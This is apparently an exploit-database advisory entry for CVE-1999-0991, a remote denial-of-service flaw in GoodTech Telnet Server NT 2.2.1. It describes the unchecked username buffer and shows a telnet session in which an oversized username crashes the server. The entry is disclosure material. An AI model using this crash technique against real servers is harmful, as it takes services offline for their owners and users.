GoodTech Telnet Server NT 2.2.1 - Denial of Service

Author: Ussr Labs
type: dos
platform: windows
port: 0
date_added: 1999-12-06
date_updated: 2012-07-07
verified: 1
codes: CVE-1999-0991;OSVDB-1157
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/862/info


GoodTech Telnet Server NT 2.2.1 is vulnerable to a remote denial of service attack due to an unchecked buffer. If 23870 or more characters are entered at the username prompt, the software will crash.

GoodTech's Telnet Server 95/98 may also be vulnerable to this overflow.

$ telnet victimhost

Trying victimhost...
Connected to victimhost.
Escape character is '^]'.

Welcome to GoodTech Telnet Server for Windows NT (V2.2) (Evaluation Copy)

(C) Copyright 1996-1999 GoodTech Systems, Inc.


Login username: (32870 characters)

...server crash